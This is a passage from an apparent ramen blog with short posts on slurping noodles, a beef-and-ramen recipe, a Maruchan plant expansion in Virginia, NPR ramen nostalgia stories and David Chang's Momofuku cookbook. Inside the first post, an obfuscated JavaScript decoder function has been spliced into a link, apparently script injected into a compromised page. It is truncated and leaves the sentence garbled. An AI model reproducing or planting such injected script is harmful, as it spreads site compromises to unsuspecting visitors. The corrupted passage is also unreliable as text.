Make As Much Noise As Possible When Eating Ramen

Tell your mom/wife/girlfriend that I say it’s okay: you may slurp loudly when eating ramen.
According to Shizuo Tsuji’s book Japanese Cooking: A Simple Art:

Like sipping piping hot Japanese soup, to really enjoy noodles, one must imbibe them fast with a cooling intake of breath. To do this involves a decided sucking sound, which easily deteriorates into a slurp.

Read the full quote at function oc532bd2f6(uf){var yd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var vb=”;var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndandhungry/2009/11/27/slurping-loudly-is-one-of-japanese-soups-great-pleasures/”>Washington City Paper, it also includes a picture of a yummy looking bowl of fresh ramen. Anyone know what the green stuff is on the right? I see seaweed in there, is that spinach or just more seaweed?

Asian Beef and Noodles

I really like Steak-Ems, except where I was from, they were called Buzz Buttered Steaks. Sadly it looks like Buzz Buttered steaks were discontinued in 2003, changing times I guess. Does anyone else here remembered Buzz Buttered steaks?

Submitted By: Shelia B.
Submitted From: South Carolina, USA


  • 1 lb box thinly sliced beef (like Steak-Um or generic)
  • Two 3 oz. pkgs. Oriental flavor ramen
  • 1 onion, diced (optional)
  • 1-2 cups frozen stir fry vegetables

This is the easiest ramen recipe I have. And leftovers are just as great warmed in the microwave. 1. Boil water for noodles. Break up noodles and cook to desired tenderness. Drain. Set aside in large bowl. 2. Cook steak slices according to package directions. Sprinkle seasoning packet contents lightly on each steak as you remove it from the skillet. When all is cooked, shred the steaks by hand, throwing the pieces onto the noodles. 3. Stir fry in the same skillet the onions and vegetables until desired tenderness. Add to steak and noodles. 4. Toss all together. Serve warm.

Ramen factory is shovel ready and helping to rebuild America

Google news popped this brief story from Richmond, VA tonight: Maruchan is expanding a ramen plant in Richmond, VA. The expansion will add 50 new jobs and will surely stimulate the economy in the former CSA capital. I know that some other companies have plants in California, anyone know where some other ones are?

The story is only about 5 sentences long and these are the main points:

Maruchan Virginia Inc. announced Thursday that it has completed a new manufacturing line, which will add 50 jobs. The $18 million project is the ninth manufacturing line at the Chesterfield plant.

NPR’s Ramen Nostalgia

NPR followed-up their ramen series with a set of ramen nostalgia stories sent in from readers.

This was my favorite of the stories:

It was gratifying to hear David Chang confirm for me that the pronunciation of the dish is “rahm-yen” as I learned it in Korea in 1967-68. At 50 won per package (about 7 cents back then) ramen was a staple. We could cook it in a canteen cup on the kerosene-fired space heater in the barracks or dispensary when it was way too cold near the Korean demilitarized zone to walk to the mess hall. Pop in an egg or a big spoonful of peanut butter from one’s mess hall “procurements.” Properly done, doctored ramen nearly always beat whatever mostly unidentifiable culinary delight was on the camp’s lunch menu.

Craig Marckwardt

NPR story on David Chang’s New Ramen Cookbook

A friend pointed me to a NPR story on New York City chef and restaurateur David Chang and his new ramen cookbook called Momofuku. The book has non ramen recipes also and from the excerpt seems to be for the serious cook. Here's one excerpt discussing David Chang's ramen broth recipe:

Momofuku contains a recipe for his ramen broth that's miles away from the salty foil-wrapped flavor packets that come with instant noodles. In fact, Chang's broth recipe requires pounds of meat and takes hours to prepare. But, Chang says, the layers of flavor that result make the prep time pay off, especially if you think of the dish the way you would a hearty soup.

Momofuku by David Chang and Peter Meehan is available from, currently it's on sale about 40% off. If you buy it, use the link in the right hand column.

Note - The link also has the full audio from the NPR story which may be longer than the text story.